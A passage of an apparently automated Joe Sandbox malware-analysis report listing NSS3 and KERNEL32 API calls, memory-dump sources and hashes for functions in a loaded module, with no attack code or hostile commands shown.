Part of subcall function 6CAF10C0: PR_Unlock.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1182
Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF119C

SEC_ASN1EncodeItem_Util.NSS3(6CA96AB7,0000001C,00000004,?,00000001,00000000), ref: 6CA96A06
SEC_ASN1EncodeItem_Util.NSS3(6CA96AB7,?,00000000,?,00000001,00000000,?,?,6CA96AB7,?,00000000,?), ref: 6CA96A2D
PR_SetError.NSS3(FFFFE005,00000000,00000001,00000000,?,?,6CA96AB7,?,00000000,?), ref: 6CA96A42

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$ArenaEncodeItem_Value$Alloc_AllocateCriticalEnterErrorSectionUnlock
String ID:
API String ID: 4031546487-0
Opcode ID: 80f7955d0c29cef7c0e67e8291650f3098deeb29078be97fb51ab8c995f17a03
Instruction ID: 07788e515481f03b1280d4fed1972eec9d1134e167ece662a8bb1911ac52af3f
Opcode Fuzzy Hash: 80f7955d0c29cef7c0e67e8291650f3098deeb29078be97fb51ab8c995f17a03
Instruction Fuzzy Hash: BF11B2716502096FE7508E69DC82B66B3FCEF4425CF188529EA19D3F01F731E585C6D0

Function 6CABACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CABACC2

Part of subcall function 6CA92F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CA92F0A
Part of subcall function 6CA92F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CA92F1D

Part of subcall function 6CA92AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6CA90A1B,00000000), ref: 6CA92AF0
Part of subcall function 6CA92AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA92B11

CERT_DestroyCertList.NSS3(00000000), ref: 6CABAD5E

Part of subcall function 6CAD57D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CA9B41E,00000000,00000000,?,00000000,?,6CA9B41E,00000000,00000000,00000001,?), ref: 6CAD57E0
Part of subcall function 6CAD57D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6CAD5843

CERT_DestroyCertList.NSS3(?), ref: 6CABAD36

Part of subcall function 6CA92F50: CERT_DestroyCertificate.NSS3(?), ref: 6CA92F65
Part of subcall function 6CA92F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CA92F83

free.MOZGLUE(?), ref: 6CABAD4F

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: a0f11b2af485ce57794de10b8ced68e1d685edb94f9d0fee72898a62ab7b23be
Instruction ID: 515aa3c4ec3ebcda7049f539e5560b07ee1b07a867fe34528d494e726957f12b
Opcode Fuzzy Hash: a0f11b2af485ce57794de10b8ced68e1d685edb94f9d0fee72898a62ab7b23be
Instruction Fuzzy Hash: 8621C6B1D011149BEF10DF68D9065EEB7F9EF05258F094168D81977700FB31AE99CBA1

Function 6CAD24E0 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CAD24FF
EnterCriticalSection.KERNEL32(?), ref: 6CAD250F
PR_Unlock.NSS3(?), ref: 6CAD253C
PR_SetError.NSS3(00000000,00000000), ref: 6CAD2554

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: f934a9281b5a0fb648b9f293bad5bb2a44ae153c4f5460e06d4f4a71ea5f298a
Instruction ID: adc19be3f951cfb0f1bc9f93864ce58012067ddba6e4812203d886d5dff8c5b8
Opcode Fuzzy Hash: f934a9281b5a0fb648b9f293bad5bb2a44ae153c4f5460e06d4f4a71ea5f298a
Instruction Fuzzy Hash: 5B11E675A00118ABDB00AF68EC459AF7B7CEF49368B450224EC1997301EB31ED98C7E1

Function 6CAEECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6CAEF0AD,6CAEF150,?,6CAEF150,?,?,?), ref: 6CAEECBA

Part of subcall function 6CAF0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CA987ED,00000800,6CA8EF74,00000000), ref: 6CAF1000
Part of subcall function 6CAF0FF0: PR_NewLock.NSS3(?,00000800,6CA8EF74,00000000), ref: 6CAF1016
Part of subcall function 6CAF0FF0: PL_InitArenaPool.NSS3(00000000,security,6CA987ED,00000008,?,00000800,6CA8EF74,00000000), ref: 6CAF102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6CAEECD1

Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF10F3
Part of subcall function 6CAF10C0: EnterCriticalSection.KERNEL32(?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF110C
Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1141
Part of subcall function 6CAF10C0: PR_Unlock.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1182
Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6CAEED02

Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6CAEED5A

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: 6e8f2a07390de3607d13449a9efb03f78d17ab56bfad61a03f86578bea48733f
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: 592184B1A007429BE700CF25D944B52B7E4BFA9348F15C215E81C87661E771E5D9C7D1

Function 6CABC860 Relevance: 6.1, APIs: 4, Instructions: 64threadCOMMON

Download Yara Rule

APIs

PK11_IsLoggedIn.NSS3(?,?), ref: 6CABC890

Part of subcall function 6CAB8F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CAADA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CAB8FAF
Part of subcall function 6CAB8F70: PR_Now.NSS3(?,?,00000002,?,?,?,6CAADA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CAB8FD1
Part of subcall function 6CAB8F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CAADA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CAB8FFA
Part of subcall function 6CAB8F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CAADA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CAB9013
Part of subcall function 6CAB8F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CAADA9B,?,00000000,?,?,?,?,CE534353), ref: 6CAB9042
Part of subcall function 6CAB8F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CAADA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CAB905A
Part of subcall function 6CAB8F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CAADA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CAB9073
Part of subcall function 6CAB8F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CAADA9B,?,00000000,?,?,?,?,CE534353), ref: 6CAB9111

PR_GetCurrentThread.NSS3 ref: 6CABC8B2

Part of subcall function 6CB59BF0: TlsGetValue.KERNEL32(?,?,?,6CBA0A75), ref: 6CB59C07

PK11_Authenticate.NSS3(?,00000001,?), ref: 6CABC8D0
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CABC8EB

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: K11_Value$CriticalEnterSectionUnlock$AuthenticateCurrentInternalItem_LoggedSlotThreadUtilZfree
String ID:
API String ID: 999015661-0
Opcode ID: 477a7ae121ca17423d818f87d30b67f1952193dc40be73abf14df5b980759708
Instruction ID: 5bdbc286becff54550a6ca6de3ec4b437105ba0ee3e7c64c71aad0f17fe332bd
Opcode Fuzzy Hash: 477a7ae121ca17423d818f87d30b67f1952193dc40be73abf14df5b980759708
Instruction Fuzzy Hash: 8401A566E012116BE7012AF96D84EFF3A6D9B4525CF0C0135FD04B6B01F771989D92F2

Function 6CBACB30 Relevance: 6.1, APIs: 4, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 6CB59890: TlsGetValue.KERNEL32(?,?,?,6CB597EB), ref: 6CB5989E

EnterCriticalSection.KERNEL32(0000001E,?,?,00000000,?,6CB25262,?,?,?,6CB1E333,?,?,6CB1DC77), ref: 6CBACB47
_PR_MD_UNLOCK.NSS3(-0000001A,?,6CB25262,?,?,?,6CB1E333,?,?,6CB1DC77), ref: 6CBACB99
_PR_MD_NOTIFYALL_CV.NSS3(?,?,?,6CB25262,?,?,?,6CB1E333,?,?,6CB1DC77), ref: 6CBACBC3
_PR_MD_NOTIFY_CV.NSS3(?,?,?,6CB25262,?,?,?,6CB1E333,?,?,6CB1DC77), ref: 6CBACBD2

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalEnterSectionValue
String ID:
API String ID: 2782078792-0
Opcode ID: 0c07fe35beb50e49092a2443922c03831d8ce38219c28a6af242f567b3439f88
Instruction ID: f59395b47cfcbe4b3c8ba18e4380659387cd6e32ad992df4556cc37357519de2
Opcode Fuzzy Hash: 0c07fe35beb50e49092a2443922c03831d8ce38219c28a6af242f567b3439f88
Instruction Fuzzy Hash: 6E11B7B1E05649DBD700AFA1C840745B3B4FF0436DF948229D44857F11E733A8A6CBD2

Function 6CAE4900 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000004,6CACC79F,?,?,6CAE5C4A,?), ref: 6CAE4950

Part of subcall function 6CAE8800: TlsGetValue.KERNEL32(?,6CAF085A,00000000,?,6CA98369,?), ref: 6CAE8821
Part of subcall function 6CAE8800: TlsGetValue.KERNEL32(?,?,6CAF085A,00000000,?,6CA98369,?), ref: 6CAE883D
Part of subcall function 6CAE8800: EnterCriticalSection.KERNEL32(?,?,?,6CAF085A,00000000,?,6CA98369,?), ref: 6CAE8856
Part of subcall function 6CAE8800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CAE8887
Part of subcall function 6CAE8800: PR_Unlock.NSS3(?,?,?,?,6CAF085A,00000000,?,6CA98369,?), ref: 6CAE8899

TlsGetValue.KERNEL32(?,?,?), ref: 6CAE496A
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAE497A
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAE4989

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$CondErrorWait
String ID:
API String ID: 3904631464-0
Opcode ID: b7efcd9986915b3cab9463e6fbbd5ce2909ca7fa9cb2c8ff8f3a08140175dbe8
Instruction ID: 54dca48451387d93baf379affae9f20c13495a63f76dd06f0b06c28e32ffe51c
Opcode Fuzzy Hash: b7efcd9986915b3cab9463e6fbbd5ce2909ca7fa9cb2c8ff8f3a08140175dbe8
Instruction Fuzzy Hash: 181138B5A002009BEB006FE8EC45A1A77BCFF0936CB180525ED59A7B11E721E89497D6

Function 6CB1EDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6CB07FFA,?,6CB09767,?,8B7874C0,0000A48E), ref: 6CB1EDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6CB07FFA,?,6CB09767,?,8B7874C0,0000A48E), ref: 6CB1EDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6CB07FFA,?,6CB09767,?,8B7874C0,0000A48E), ref: 6CB1EE14

Part of subcall function 6CAF0BE0: malloc.MOZGLUE(6CAE8D2D,?,00000000,?), ref: 6CAF0BF8
Part of subcall function 6CAF0BE0: TlsGetValue.KERNEL32(6CAE8D2D,?,00000000,?), ref: 6CAF0C15

memcpy.VCRUNTIME140(?,?,6CB09767,00000000,00000000,6CB07FFA,?,6CB09767,?,8B7874C0,0000A48E), ref: 6CB1EE33

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 458ff2be34327e38c2ccefb4982d5be327e2eca3fad59efbe646e57a67f7cb63
Instruction ID: 71f40eb8a2181d6ee82f43415c210034d95626b0860b13d0d9d2612ce4b275c5
Opcode Fuzzy Hash: 458ff2be34327e38c2ccefb4982d5be327e2eca3fad59efbe646e57a67f7cb63
Instruction Fuzzy Hash: 1311CA72A087D6ABDB509E65DC88B4AB7A8FF0435CF104531E919C2E40E330F464C7E2

Function 6CB008D0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CB009B3,0000001A,?), ref: 6CB008E9

Part of subcall function 6CAF0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAF08B4

SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CB008FD

Part of subcall function 6CAEFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CAE8D2D,?,00000000,?), ref: 6CAEFB85
Part of subcall function 6CAEFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CAEFBB1

SECITEM_AllocItem_Util.NSS3(?,00000000,00000001), ref: 6CB00939
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB00953

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$ErrorItem_$AllocAlloc_ArenaCopyFindTag_memcpy
String ID:
API String ID: 2572351645-0
Opcode ID: 2e99b12f1c9af86e3f260138aaee893669f473c170dc6a84dddc8e352a0eca88
Instruction ID: 66253f98dd113800ab11249cc6e8d3f5d0de448b3d0be1fc5d462efd965af10d
Opcode Fuzzy Hash: 2e99b12f1c9af86e3f260138aaee893669f473c170dc6a84dddc8e352a0eca88
Instruction Fuzzy Hash: D301C8B5701A8A6FFB145F397C10B673B98DF80218F10453DEC19C5A41EB31D4148A95

Function 6CAE49C0 Relevance: 6.1, APIs: 4, Instructions: 61COMMON

Download Yara Rule

APIs

Part of subcall function 6CAE8800: TlsGetValue.KERNEL32(?,6CAF085A,00000000,?,6CA98369,?), ref: 6CAE8821
Part of subcall function 6CAE8800: TlsGetValue.KERNEL32(?,?,6CAF085A,00000000,?,6CA98369,?), ref: 6CAE883D
Part of subcall function 6CAE8800: EnterCriticalSection.KERNEL32(?,?,?,6CAF085A,00000000,?,6CA98369,?), ref: 6CAE8856
Part of subcall function 6CAE8800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CAE8887
Part of subcall function 6CAE8800: PR_Unlock.NSS3(?,?,?,?,6CAF085A,00000000,?,6CA98369,?), ref: 6CAE8899

PR_SetError.NSS3 ref: 6CAE4A10
TlsGetValue.KERNEL32(6CAD781D,?,6CACBD28,00CD52E8,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CAE4A24
EnterCriticalSection.KERNEL32(?,?,?,6CACBD28,00CD52E8), ref: 6CAE4A39
PR_Unlock.NSS3(?,?,?,?,6CACBD28,00CD52E8), ref: 6CAE4A4E

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$CondErrorWait
String ID:
API String ID: 3904631464-0
Opcode ID: c1515fee83425e21c55b3a1076ed203b791ef90451c96db2b2f486a4d635842a
Instruction ID: f6dcac08d64cdc9e5729fbf752d5983d650c4a1c033edf31fbd82854beae90b3
Opcode Fuzzy Hash: c1515fee83425e21c55b3a1076ed203b791ef90451c96db2b2f486a4d635842a
Instruction Fuzzy Hash: DB21C0B46047148FDB00AFB8D58846AB7F8FF09358F050929D8C49BB01E730E884CBC2

Function 6CA8EAD0 Relevance: 6.1, APIs: 4, Instructions: 54networkthreadCOMMON

Download Yara Rule

APIs

htons.WSOCK32(?), ref: 6CA8EB13
htonl.WSOCK32(00000000,?), ref: 6CA8EB26
htons.WSOCK32(?), ref: 6CA8EB44
PR_GetCurrentThread.NSS3(?), ref: 6CA8EB58

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: htons$CurrentThreadhtonl
String ID:
API String ID: 2156189399-0
Opcode ID: 6e370986c0d10f79ddb984d84c9ebde1ed23b8e362e59a19b994f4efcad6003d
Instruction ID: 95a28875dfd79f01e8454cd2c1bada292a449e0b3c316fcd2b2490aa47660ac0
Opcode Fuzzy Hash: 6e370986c0d10f79ddb984d84c9ebde1ed23b8e362e59a19b994f4efcad6003d
Instruction Fuzzy Hash: 1611EF75C29BD1D3D3208F6588046BA73A0FFA6708B01EB0EE8CA47A61E770A0D0C394

Function 6CAB8DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CAB8DE7
EnterCriticalSection.KERNEL32 ref: 6CAB8DFC
PR_Unlock.NSS3 ref: 6CAB8E2D
PR_SetError.NSS3 ref: 6CAB8E49

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: dd247c9239d6baa5e49c2ca524661644b7806161bf9483f6f5faae44d02b72bf
Instruction ID: f55e7d9d3d0b7688a00722589e13bc95b83380fd92ef3aa489af88e106980d85
Opcode Fuzzy Hash: dd247c9239d6baa5e49c2ca524661644b7806161bf9483f6f5faae44d02b72bf
Instruction Fuzzy Hash: E1118F75605A119FD700AF78D5842ADBBF4FF05754F054929EC8897700E730E894CBD1

Function 6CB22BE0 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6CB22A28,00000060,00000001), ref: 6CB22BF0

Part of subcall function 6CA995B0: TlsGetValue.KERNEL32(00000000,?,6CAB00D2,00000000), ref: 6CA995D2
Part of subcall function 6CA995B0: EnterCriticalSection.KERNEL32(?,?,?,6CAB00D2,00000000), ref: 6CA995E7
Part of subcall function 6CA995B0: PR_Unlock.NSS3(?,?,?,?,6CAB00D2,00000000), ref: 6CA99605

CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6CB22A28,00000060,00000001), ref: 6CB22C07
SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6CB22A28,00000060,00000001), ref: 6CB22C1E
free.MOZGLUE(?,00000000,00000000,?,6CB22A28,00000060,00000001), ref: 6CB22C4A

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
